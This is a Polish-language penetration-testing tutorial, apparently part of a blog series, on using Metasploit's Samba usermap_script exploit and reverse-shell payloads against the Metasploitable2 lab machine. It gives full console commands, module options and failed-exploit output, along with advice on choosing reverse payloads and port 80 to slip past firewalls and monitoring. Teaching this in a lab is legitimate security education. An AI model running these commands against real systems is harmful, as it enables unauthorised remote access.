W tym materiale zajmiemy się bardziej rozbudowanymi sposobami dostępu do urządzenia, niż robiliśmy to w poprzednich dwóch artykułach. Tak naprawdę temat rozpocząłem w pierwszym artykule Metasploit - czym jest i jak z niego korzystać, gdzie wykorzystaliśmy exploita do uruchomionej usługi programu. Teraz zajmiemy się bardziej szczegółowo tym zagadnieniem, jak również dowiemy się, czym jest payload.

Czym różni się exploit od payloada

Dowiedzieliśmy się już, że exploity wykorzystują luki w systemie, aby dostać się do urządzenia. Natomiast payload jest to kod, który infekuje dany system/dystrybucję po dostaniu się do środka przy pomocy luki systemowej, czyli exploita. To dzięki payloadowi jesteśmy w stanie zrobić coś więcej, niż tylko połączyć się z urządzeniem.
 

Uzyskujemy dostęp dzięki Sambie

Samba to darmowy program, dzięki któremu możemy udostępniać pliki oraz drukarki. Wymienione oprogramowanie jest dość często wykorzystywanym narzędziem, ponieważ daje możliwość współdzielenia wymienionych zasobów pomiędzy różnymi platformami, systemami czy też dystrybucjami. W naszej dystrybucji Metasploitable2, razem ze startem, usługa programu jest uruchamiana automatycznie. W związku z tym pokażę Wam, w jaki sposób wykorzystać exploita oraz payloada, aby otrzymać całkowity dostęp do dystrybucji.
 

Wyszukiwanie odpowiedniego exploita

Możemy skorzystać z internetu i poszukać gotowego rozwiązania. Jednak ja wolę pokazać Wam rozwiązanie na pierwszy rzut oka trudniejsze, ale bardzo często przydatne. Rozmawialiśmy o tym ostatnim razem. Dlatego w uruchomionym programie Metasploit wpiszmy polecenie wyszukiwania w następujący sposób:

search type:exploit samba
 

Jako wynik otrzymamy listę składającą się z 70 pozycji. Wspominałem już, że osobiście na samym początku odrzucam wszystkie pozycje niedotyczące systemu, do którego chcemy się dostać, oraz wszystkie niemające w swojej nazwie nazwy usługi, z której chcemy skorzystać. W ten sposób nasza lista skróci się i pozostanie na niej tylko kilka pozycji:
 

13 exploit/multi/samba/usermap_script            2007-05-14       excellent  No    Samba "username map script" Command Execution

14 exploit/multi/samba/nttrans                   2003-04-07       average    No    Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow

15 exploit/linux/samba/setinfopolicy_heap        2012-04-10       normal     Yes   Samba SetInformationPolicy AuditEventsInfo Heap Overflow

22 exploit/linux/samba/chain_reply               2010-06-16       good       No    Samba chain_reply Memory Corruption (Linux x86)

25 exploit/linux/samba/is_known_pipename         2017-03-24       excellent  Yes   Samba is_known_pipename() Arbitrary Module Load

42 exploit/linux/samba/lsa_transnames_heap       2007-05-14       good       Yes   Samba lsa_io_trans_names Heap Overflow

62 exploit/linux/samba/trans2open                2003-04-07       great      No    Samba trans2open Overflow (Linux x86)
 

Na liście z siedemdziesięciu exploitów pozostało siedem. Wiemy przecież dzięki skanowaniu nmap, że na „serwerze” jest na pewno zainstalowany Linux. Dlatego nie byłoby sensu stosować exploitów dostępnych na inne systemy.
 

Chciałbym wspomnieć o jeszcze jednej ważnej rzeczy. Otóż mamy dwie kategorie exploitów. Jedne są z kategorii multi, drugie z Linux. Myślę, że ze zrozumieniem nazewnictwa tych drugich nie będziesz miał żadnych problemów, natomiast multi oznacza wieloplatformowość. Czyli exploit może zostać wykorzystany niezależnie od tego, na jakim systemie działa urządzenie.
 

Użycie i konfiguracja exploita oraz payloada

Zajmijmy się teraz pierwszym exploitem z listy, czyli:
 

exploit/multi/samba/usermap_script
 

Mając już wybrany exploit, pozostało aktywować go i skonfigurować. Robiliśmy to już wcześniej, ale tym razem pozwolę sobie na powtórzenie:
 

use exploit/multi/samba/usermap_script
 

Wystarczy użyć angielskiego słowa use i mamy wszystko dostępne do konfiguracji. Natomiast chciałbym, abyś zwrócił szczególną uwagę na to, co zostało napisane po wykonaniu polecenia:
 

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
 

Dla osób, które nie znają angielskiego:
 

„Żaden payload nie został skonfigurowany, domyślny cmd/unix/reverse_netcat”
 

Zobaczmy teraz, jak wyglądają dostępne opcje, które możemy pozmieniać:
 

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required Description

   ----     ---------------  -------- -----------

   CHOST                     no       The local client address

   CPORT                     no       The local client port

   Proxies                   no       A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, http, socks5h, sapni, socks4

   RHOSTS                    yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

   RPORT    139              yes      The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required Description

   ----   ---------------  -------- -----------

   LHOST  10.0.2.19        yes      The listen address (an interface may be specified)

   LPORT  4444             yes      The listen port

Exploit target:

   Id  Name

   --  ----

   0   Automatic

View the full module info with the info, or info -d command.
 

RHOSTS i RPORT oraz LHOST i LPORT już znasz. Jak wiesz, w RHOSTS ustawiasz adres IP Twojego celu, natomiast w LHOST swój adres, który służyć będzie do nasłuchiwania. W tym przypadku został on automatycznie przypisany, bo 10.0.2.19 jest to adres IP mojego Kali Linux. W przypadku RPORT ustawiasz port, z jakiego korzysta usługa programu, natomiast w LPORT określasz, z jakim portem payload ma się z Tobą połączyć.
 

Teraz bardzo ważna uwaga, która dotyczy LPORT. W tym wypadku standardowo ustawiony jest port 4444. Nie jest to nic błędnego, payload nawiąże połączenie z Tobą, ale w razie problemów możesz skorzystać z portu 80, który wykorzystują przeglądarki do komunikacji przy pomocy HTTP.
 

O tym już wiesz, ale możesz się zastanawiać, po co o tym piszę?
 

Otóż port 80 nie jest w żaden sposób szyfrowany, stąd też bardzo często jest omijany przy sprawdzaniu pod względem połączeń. Przecież to z niego korzystają przeglądarki. Dlatego dobrym pomysłem jest dokonanie zmiany domyślnego portu na 80.
 

Czasami jednak może się zdarzyć, że port 80 będzie już wykorzystywany do czegoś innego i nie jesteś w stanie z niego skorzystać. Nawiasem mówiąc, port 80 nie jest jedynym, który może służyć dla protokołu HTTP. Dodatkowo można korzystać z portu 8080 oraz kilku innych, o czym w jednym z materiałów już wspominałem. Dlatego jeżeli okaże się, że nie możesz skorzystać z portu 80, zamień go na 8080 - działanie będzie identyczne.
 

Konfiguracja exploita

Teraz ustawmy adres IP naszego celu. Robimy to przy pomocy poznanego polecenia:
 

set RHOSTS 10.0.2.20
 

Następnie sprawdźmy, czy został ustawiony odpowiedni RPORT. Musi być identyczny z tym, który wskazał nmap:
 

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 

Mamy 139 i 445. Czyli skorzystać możemy albo z jednego, albo z drugiego. Standardowo ustawiony jest 139. My natomiast pobawmy się trochę i zmieńmy ten port na 445:
 

set RPORT 445
 

Część związaną z exploitem już skonfigurowaliśmy. Nadeszła pora na dalsze zagadnienia. Teraz zobaczmy, co możemy zrobić z payloadem.
 

Konfigurujemy payload

Rozmawialiśmy o tym, że program wybrał domyślny payload, z którego możesz skorzystać. On działa, możesz mi wierzyć na słowo lub sprawdzić na własną rękę, wpisując polecenie exploit. Jednak na tym etapie bardziej zależy mi, abyś zapoznał się z możliwością wyboru payloada odpowiedniego do danej sytuacji. Wpisz w konsoli programu Metasploit następującą komendę:
 

show payloads
 

Ukaże się dość spora lista możliwości. Przeanalizujmy ją dokładnie. Nie będę wklejał tych prawie pięćdziesięciu pozycji, tylko pozwolę sobie wkleić dwie, nieróżniące się znacznie od siebie:
 

payload/cmd/unix/bind_perl

payload/cmd/unix/reverse_perl
 

Payloady wyglądają prawie identycznie. Różnica występuje na samym końcu ich nazwy, a dokładniej: w jednym mamy bind, a w drugim reverse. Jest to istotne, ponieważ w przypadku pierwszych, czyli tzw. bindów, to my łączymy się z komputerem naszego celu, natomiast reverse działają odwrotnie. W tym drugim przypadku to cel łączy się z naszym komputerem, a my mu to tylko umożliwiamy.
 

Co w tym dziwnego?
 

Otóż w przypadku sposobu bind prawdopodobieństwo, że się uda, jest znikome. Obecnie każdy firewall zablokuje próbę takiego połączenia lub wyda stosowną informację. Natomiast w przypadku reverse szanse są dość spore. W związku z tym polecam zawsze korzystać z payloadów typu reverse. Masz wtedy większą pewność, że zadziałają. Dopowiem jeszcze tylko, że w przypadku Metasploitable2 zadziałają oba payloady. Natomiast w prawdziwym środowisku nie korzysta się z bind.
 

Wiemy już, co z czym się je, dlatego teraz użyjmy naszego payloada:
 

set PAYLOAD payload/cmd/unix/reverse_perl
 

Zwróć szczególną uwagę na słowo PAYLOAD po poleceniu set. Jeżeli użyjesz samego set, będziesz miał dostęp jedynie do konfiguracji samego payloada, natomiast exploit zostanie usunięty z użycia oraz konfiguracji.
 

Wpisz ponownie:
 

show options

Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required Description

   ----   ---------------  -------- -----------

   LHOST  10.0.2.19        yes      The listen address (an interface may be specified)

   LPORT  4444             yes      The listen port
 

Wszystko się zgadza, ale jak wspomniałem wcześniej, dobrą praktyką byłoby zmienić LPORT na 80, dlatego teraz to zrobimy:
 

set LPORT 80
 

Powinniśmy mieć już wszystko właściwie skonfigurowane, dlatego sprawdź sobie jeszcze raz, czy tak jest. Gdy się już upewnimy, wpisujemy polecenie exploit lub run.
 

Po udanym połączeniu pozostaje użyć uname -a i sprawdzić, czy jest to ta maszyna, do której chciałeś się dostać.
 

Dlaczego nie każdy exploit działa?

Opisałem już dość szczegółowo exploity oraz payloady. Myślę, że masz już sporą wiedzę, a reszty nabierzesz w praktyce. Natomiast w przypadku, gdy będziesz dużo próbował na własną rękę, może okazać się, że nic nie działa, a podobno gdzieś wyczytałeś, że luka występuje. W tym wypadku pozwolę sobie powrócić do informacji, jaką otrzymaliśmy ostatnio, używając nmapa:
 

139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
 

Widziałeś już to, ale czy zwróciłeś uwagę na wersję Samby wykorzystanej w systemie?
 

Użyjmy innego exploita:
 

use exploit/multi/samba/nttrans
 

Nie będę wklejał zawartości po wpisaniu polecenia show options, dlatego ustaw RHOSTS i wpisz exploit. Powinieneś otrzymać informację:
 

[*] Started reverse TCP handler on 10.0.2.19:4444

[-] 10.0.2.20:139 - Exploit failed [timeout-expired]: Timeout::Error execution expired

[*] Exploit completed, but no session was created.
 

Dlaczego tak się stało? Otóż wpisz ponownie show options i zwróć uwagę na sam dół informacji, która Ci wyskoczyła:
 

Exploit target:

   Id  Name

   --  ----

   0   Samba 2.2.x Linux x86
 

Oznacza to, że exploit może być użyty do wersji 2.2.x, a my przecież używamy wersji 3.x – 4.x. Czyli mamy już winowajcę. Chcieliśmy wykorzystać exploita, ale nie do tej wersji, z której korzystamy. Dlatego on nie działa. Spójrzmy na jeszcze jeden przykład:
 

use exploit/linux/samba/trans2open
 

Jeżeli wpiszesz show options, to zerkając na sam dół, powinieneś zauważyć informację:
 

Exploit target:

   Id  Name

   --  ----

   0   Samba 2.2.x – Bruteforce
 

Jak już wiesz, nadal to nie dotyczy naszej wersji, ale wpiszmy RHOSTS i odpalmy exploita. Otrzymać powinieneś informację:
 

[*] Started reverse TCP handler on 10.0.2.19:4444

[*] 10.0.2.20:139 - Trying return address 0xbffffdfc...

[-] 10.0.2.20:139 - Exploit aborted due to failure: no-target: This target is not a vulnerable Samba server (Samba 3.0.20-Debian)

[*] Exploit completed, but no session was created.
 

Oczywiście nawiązanie połączenia zakończyło się niepowodzeniem, ale czy coś przykuło Twoją uwagę?
 

Pomimo braku nawiązania połączenia otrzymaliśmy bardzo istotną informację. Samba jest w wersji 3.0.20-Debian. Dlatego możemy teraz skorzystać z przeglądarki i poszukać jakichś informacji na ten temat. Świadczy to o tym, że mimo iż exploit nie dotyczył danej wersji, to jednak udało się dzięki niemu uzyskać wartościową informację.
 

Podsumowanie

Metasploit to genialne narzędzie, szczególnie w początkowej fazie nauki. Pomaga zrozumieć wiele terminów i w pewnym sensie na żywo pokazuje, jak udany atak wygląda. Pozwala również uczyć się pewnych przydatnych schematów. Oczywiście w testowaniu bezpieczeństwa postępowanie schematyczne nie jest tym, na czym głównie powinniśmy się skupiać, ale pozwala wskazać typowe błędy bezpieczeństwa. Dlatego polecam pobawić się tym narzędziem.